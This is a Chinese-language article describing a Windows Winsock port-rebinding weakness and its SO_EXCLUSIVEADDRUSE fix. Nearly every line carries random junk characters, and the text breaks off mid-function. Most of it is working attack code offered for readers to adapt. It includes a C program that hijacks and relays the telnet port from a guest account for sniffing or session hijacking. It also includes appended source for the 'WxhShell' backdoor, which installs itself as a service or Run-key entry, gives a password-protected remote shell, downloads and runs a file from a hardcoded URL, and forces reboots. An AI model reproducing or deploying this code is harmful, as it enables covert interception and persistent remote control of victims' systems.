在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-awG14% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X.
Ur`X unqUs08 saddr.sin_family = AF_INET;
-ON-0L i`<L#6RBT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4*o?2P$Q IMM+g]#e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@d^DU5ats> RO3q!+a$/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZI4dD.B /kw;q{>?o 这意味着什么?意味着可以进行如下的攻击:
G=Lg5`3;, .x] pJ9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9Nna-}e?W uzmYkBv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4i&Rd1#0dI o~CEja&( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Al@. KTK O#):*II`9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
hbr3.<o1lY !%t2ZQJq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
F&+qd`8J WI*CuJU<zJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
vf#d A)j!Wgs^z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G; W2Z, 9c*B%A8J #include
_!vy|,w@e #include
<s\ZqL$f #include
E
y9rH_ #include
]xoG{%vgb DWORD WINAPI ClientThread(LPVOID lpParam);
T>b"Gj/ int main()
u)r:0;5 {
Ac*J;fI WORD wVersionRequested;
W#^.)V DWORD ret;
#639N9a~ WSADATA wsaData;
7hu7rWY`E BOOL val;
b5Q>e%i# SOCKADDR_IN saddr;
kw#-\RR_c SOCKADDR_IN scaddr;
%QGw`E int err;
2P^qZDG 8I SOCKET s;
Wi!"Vcn SOCKET sc;
TXyiCS3 int caddsize;
Px*<-t|R- HANDLE mt;
djw\%00 DWORD tid;
lsOfpJ wVersionRequested = MAKEWORD( 2, 2 );
v2:i'j6 err = WSAStartup( wVersionRequested, &wsaData );
/K1cP>oE if ( err != 0 ) {
h7T),UL printf("error!WSAStartup failed!\n");
`F&~SU, return -1;
U1lqg?KO }
y:Of~
]9@ saddr.sin_family = AF_INET;
f^"pZS lQ!OD&6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[Y@>,B!V k 9z9{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)i[Vq|n saddr.sin_port = htons(23);
:Y1;= W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5E~^-wX {
Xxd]j] printf("error!socket failed!\n");
@@{5]Y return -1;
>zL5*:G }
m_Q&zp[" val = TRUE;
_!,
J iOI //SO_REUSEADDR选项就是可以实现端口重绑定的
<Up?w/9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
GQCdB> {
Z(Y: printf("error!setsockopt failed!\n");
C&*1H`n return -1;
[>\|QS| }
y35~bz^2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a@qc? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>{:hadUH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
udLI AV* 6j6;lNUc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DC-d@N+ {
CAs:>s
'8 ret=GetLastError();
a\}MJ5] printf("error!bind failed!\n");
H, :]S-T return -1;
c>^(=52Q }
R(VOHFvW6 listen(s,2);
2ag8?# while(1)
k>.8 lc\ {
PcU~1m1 caddsize = sizeof(scaddr);
0('ec60u //接受连接请求
Q3&q%n|< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!8cV."~ if(sc!=INVALID_SOCKET)
>-<iY4|[d {
2xX:Q'\2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1,bE[_ if(mt==NULL)
\#I$H9O {
v*=P printf("Thread Creat Failed!\n");
A(
vdlj break;
+s"6[\H1d }
A 0k?$ko }
H;=Fq+ CloseHandle(mt);
,bdjk( }
?&~q^t?u closesocket(s);
a6e{bAuq WSACleanup();
wT::b V{ return 0;
[p`5$\e }
ow3.jHsLA DWORD WINAPI ClientThread(LPVOID lpParam)
z^Ikb(KC {
[{BY$"b#: SOCKET ss = (SOCKET)lpParam;
@y`xFPB SOCKET sc;
l$/lbwi% unsigned char buf[4096];
!.$L=>:V SOCKADDR_IN saddr;
%'H DP3 long num;
W_Y8)KxG:L DWORD val;
8iJB'#''* DWORD ret;
!#O[RS //如果是隐藏端口应用的话,可以在此处加一些判断
~:bdS 4w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}>0>OqvF saddr.sin_family = AF_INET;
6xJffl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\?^2}K/ saddr.sin_port = htons(23);
Z}dK6h5+' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e:9EP, {
V1V0T , printf("error!socket failed!\n");
{a:05Y return -1;
TI<
x;p }
NEri{qxm val = 100;
Nq6'7'x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
GN(<$,~g {
!ou#g5Q@z ret = GetLastError();
~,HFd` return -1;
qEST[S V }
J}X{8Ds9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FHSoj= {
V<0iYi;4= ret = GetLastError();
CPP~,E_ return -1;
?";SUku }
,=m.WmXE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Jd>~gA}l {
D'#Q`H printf("error!socket connect failed!\n");
+hmFFQQ} closesocket(sc);
@9gZH_ur>E closesocket(ss);
g8%O^)d=> return -1;
&P|[YP37_ }
x [FLV8`b| while(1)
<s'de$[ {
!-f Bw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*n? 1C"l //如果是嗅探内容的话,可以再此处进行内容分析和记录
{G:y?q'z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&oS$< num = recv(ss,buf,4096,0);
K}R+~<bIY if(num>0)
PX
8 UVA send(sc,buf,num,0);
}#O!GG{ else if(num==0)
^QRg9s,T< break;
e yJ07 num = recv(sc,buf,4096,0);
pFd8p@m_2 if(num>0)
$>XeC}"x68 send(ss,buf,num,0);
ZYwcB]xEz else if(num==0)
LmF ,en5 break;
%T{]l;5 }
7C{ yNX# closesocket(ss);
L8QWEFB| closesocket(sc);
8vY-bm,e return 0 ;
}~XWtWbd- }
BPba3G9H K T} *glZb;_
==========================================================
[]>'Dw_r e<L@QNX 下边附上一个代码,,WXhSHELL
{3tzr ;c? IY`p7 )#i ==========================================================
%iN>4;T8 Dm>"c;2 #include "stdafx.h"
IU%|K~_n NI >%v #include <stdio.h>
RdTM5ANT #include <string.h>
Eah6"j!B8n #include <windows.h>
*gbK
:*_J #include <winsock2.h>
\c=I!<9 #include <winsvc.h>
-Aj)<KNx[ #include <urlmon.h>
du3f'=q6| 200yN+ ec #pragma comment (lib, "Ws2_32.lib")
~U9K<_U #pragma comment (lib, "urlmon.lib")
*v>ZE6CL ,5}U
H #define MAX_USER 100 // 最大客户端连接数
B`5<sW #define BUF_SOCK 200 // sock buffer
g`7XE #define KEY_BUFF 255 // 输入 buffer
"F<CGSo
BX,)G HE #define REBOOT 0 // 重启
ggr #define SHUTDOWN 1 // 关机
Jg6Lr~!i {4 Of. #define DEF_PORT 5000 // 监听端口
h+ f>#O+: CLb6XnkcA\ #define REG_LEN 16 // 注册表键长度
wl
Oeoi #define SVC_LEN 80 // NT服务名长度
>:;dNVz /:&!o2&1H // 从dll定义API
a V3:{oL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}'X=&3m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\oQ]=dDCd% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?9b9{c'an typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xvr5$x|h a^|DD#5 // wxhshell配置信息
mo0\t#jA struct WSCFG {
[m
t.2 . int ws_port; // 监听端口
i=8iK#2 h char ws_passstr[REG_LEN]; // 口令
XH:*J+$O int ws_autoins; // 安装标记, 1=yes 0=no
1gEH~Jmj char ws_regname[REG_LEN]; // 注册表键名
GXNf@& char ws_svcname[REG_LEN]; // 服务名
=8kmFXo char ws_svcdisp[SVC_LEN]; // 服务显示名
[uq>b|`RG char ws_svcdesc[SVC_LEN]; // 服务描述信息
!Brtao"m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
EP;/[O int ws_downexe; // 下载执行标记, 1=yes 0=no
!QUY ( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j=_rUc'Me char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K~x,so T5BZD
+Ta };
G7-BeA8 wucdXj{% // default Wxhshell configuration
l.[pnL D struct WSCFG wscfg={DEF_PORT,
cPGlT" "xuhuanlingzhe",
kmuksT\)a
1,
"cH RGJG# "Wxhshell",
<P9fNBGa "Wxhshell",
Y4T") "WxhShell Service",
e_vsiT "Wrsky Windows CmdShell Service",
%B3~t> "Please Input Your Password: ",
[}X|&`'i 1,
?mQ^"9^XS "
http://www.wrsky.com/wxhshell.exe",
&v\F ah U "Wxhshell.exe"
eE;tiX/ };
Hh<H~s [ ~,'{\jDrS // 消息定义模块
SGd]o"VF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<t%gl5}| char *msg_ws_prompt="\n\r? for help\n\r#>";
wN2+3LY{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
yoi4w 7: char *msg_ws_ext="\n\rExit.";
NzRvb j] char *msg_ws_end="\n\rQuit.";
Ae)xFnuq3 char *msg_ws_boot="\n\rReboot...";
lG*Rw-?a char *msg_ws_poff="\n\rShutdown...";
MatXhP] Fi char *msg_ws_down="\n\rSave to ";
(iIw}f)w &{iC:zp char *msg_ws_err="\n\rErr!";
3KLUH=)P char *msg_ws_ok="\n\rOK!";
z*Sm5i&)_q _MBa&XEM char ExeFile[MAX_PATH];
`h}eP[jA int nUser = 0;
+bjy#= HANDLE handles[MAX_USER];
d{
(,Gy>I int OsIsNt;
W<Uu.Y{sG ffCDO\i({ SERVICE_STATUS serviceStatus;
E' 5*w6 SERVICE_STATUS_HANDLE hServiceStatusHandle;
f49kf** @|!4X(2 // 函数声明
|J`EM7qMK int Install(void);
TyxIlI4" int Uninstall(void);
:-&|QVH int DownloadFile(char *sURL, SOCKET wsh);
-"(*'hD int Boot(int flag);
r^9l/H~$ void HideProc(void);
4.6$m int GetOsVer(void);
f*ZU a int Wxhshell(SOCKET wsl);
_iwG'a[` void TalkWithClient(void *cs);
4"@<bKx int CmdShell(SOCKET sock);
tz1@s nes int StartFromService(void);
(5a73%>@ int StartWxhshell(LPSTR lpCmdLine);
a|ft l&uk c0Ug5Vr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F[qXIL) VOID WINAPI NTServiceHandler( DWORD fdwControl );
pMF
vL dzcF15H1 // 数据结构和表定义
>WLPE6E SERVICE_TABLE_ENTRY DispatchTable[] =
|@ mz@ {
ycGY5t@K@ {wscfg.ws_svcname, NTServiceMain},
nx9PNl@?V {NULL, NULL}
}A9#3Y|F };
~{x1/eH #86N
!&x // 自我安装
FOaA}D `] int Install(void)
gv!8' DKn {
mrGV{ {. char svExeFile[MAX_PATH];
-15e HKEY key;
s8j |>R|k strcpy(svExeFile,ExeFile);
5zuwqOD* sYTz6- // 如果是win9x系统,修改注册表设为自启动
lR(9;3 if(!OsIsNt) {
MB}nn&u# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M!mL/*G@YE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$+eeE RegCloseKey(key);
N#w5}It if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zal]t$z> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IrwQ~z3I RegCloseKey(key);
y@LI miRG return 0;
J%|?[{rO{' }
{9IRW\kn }
kuY^o,u-1e }
YMGy-]!o else {
X<ex
>sM cJKnB!iL5 // 如果是NT以上系统,安装为系统服务
wG3L+[, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
09Hrn if (schSCManager!=0)
LUbhTc {
b[%@3 }E SC_HANDLE schService = CreateService
YV>a 3 (
"tEp8m schSCManager,
IPot][ N> wscfg.ws_svcname,
ulR yt^bx| wscfg.ws_svcdisp,
Z'o0::k SERVICE_ALL_ACCESS,
z$ ^d_) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~Nh6po{ SERVICE_AUTO_START,
O{ :{P5 SERVICE_ERROR_NORMAL,
YSjc= svExeFile,
D@=]mh6vl NULL,
Q\oa<R
D5 NULL,
2"0VXtv6 NULL,
1eXMMZ/? NULL,
g%2G=gR$?z NULL
m:_#kfC&K" );
"|\hTRQ if (schService!=0)
YznL+TD {
_/[qBe CloseServiceHandle(schService);
+|?a7qM CloseServiceHandle(schSCManager);
&BVUK"}P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e\)%<G5 strcat(svExeFile,wscfg.ws_svcname);
ui]iOp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q NGR6i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4S(G366 RegCloseKey(key);
H4Bt.5O* return 0;
&-/J~b)" }
QPy h.9:N }
DpHubqWz CloseServiceHandle(schSCManager);
LP3#f{U }
>^8O :. }
kV-<[5AWW Z<U,]iZB return 1;
T*p7[}# }
_ep&`K cT(nKHL // 自我卸载
m?-)SA int Uninstall(void)
j)ic7b {
1@Ba7>%' HKEY key;
BDt$s(
\ h!B{7J if(!OsIsNt) {
-O})Y>=} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$GoS?\G RegDeleteValue(key,wscfg.ws_regname);
j,rc9 RegCloseKey(key);
8;M,l2pmR{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\t{iyUxY RegDeleteValue(key,wscfg.ws_regname);
Jq1oQu|rs RegCloseKey(key);
6@aH2+4+ return 0;
n3e,vP? R }
/G5KNSi }
8] LF{Obz[ }
~'*23]j else {
CXUF=IE R/u0, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>$kFYb>~q if (schSCManager!=0)
erI&XI {
W{Qb*{9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]n=z(2Z9lD if (schService!=0)
?`TQ!m6y {
o.$48h( if(DeleteService(schService)!=0) {
.p{lzI9 CloseServiceHandle(schService);
eg~
Dm>Es CloseServiceHandle(schSCManager);
y0O(n/ return 0;
UAjN }
5ncW
s) CloseServiceHandle(schService);
1uo |a }
b$w66q8 CloseServiceHandle(schSCManager);
iBWzxPv:z }
LBio$67F }
nANl9;G 4=MVn return 1;
'4{@F~fu }
~vP_c(8f %n]jsdE^| // 从指定url下载文件
NO/$}vw int DownloadFile(char *sURL, SOCKET wsh)
v~RxtTu {
,T;sWl HRESULT hr;
yO-2.2h char seps[]= "/";
H#F"n"~$ char *token;
=ZHN]PP char *file;
tzl,r"k3 char myURL[MAX_PATH];
.}E<,T char myFILE[MAX_PATH];
|
{zka.sJ
!B[Y?b: strcpy(myURL,sURL);
OL=X&Vaf< token=strtok(myURL,seps);
DN8I[5O while(token!=NULL)
$_% {
4PC'7V=S file=token;
\>T1&JT token=strtok(NULL,seps);
]Y
&
2& }
x1
LI& AU*]D@H GetCurrentDirectory(MAX_PATH,myFILE);
daY0;,> strcat(myFILE, "\\");
M|y!,/' strcat(myFILE, file);
G>Bgw>#_ send(wsh,myFILE,strlen(myFILE),0);
(*26aMp send(wsh,"...",3,0);
YTgT2w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q.:a4w J if(hr==S_OK)
2+|r*2_glo return 0;
$sL+k 'dY else
wQ-BY"cK\ return 1;
-vT$UP KJn 3&7 }
3F6'3NvVc2 }zo-%# // 系统电源模块
>iJxq6! int Boot(int flag)
Q#*qPgs {
P^-x HANDLE hToken;
Ty 6 XU! TOKEN_PRIVILEGES tkp;
aF=;v* nP=/XiCj if(OsIsNt) {
a$"Z\F:x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ux,dj8=o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F&/}x15 tkp.PrivilegeCount = 1;
v@X[0J_8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}k1[Fc| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B^1jd!m if(flag==REBOOT) {
kSJ:4! lFU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z_C7=ga< return 0;
Cn9MboXX }
xoSBMf else {
6yaWxpW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p8y<:8I return 0;
+'e3YF+' }
yC}x6xG }
g2lv4Tiq- else {
)P/~{Ci:T& if(flag==REBOOT) {
lr,i5n{6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[o'}R`5) return 0;
GwD"j] }
QD[l 6 else {
t5p#g<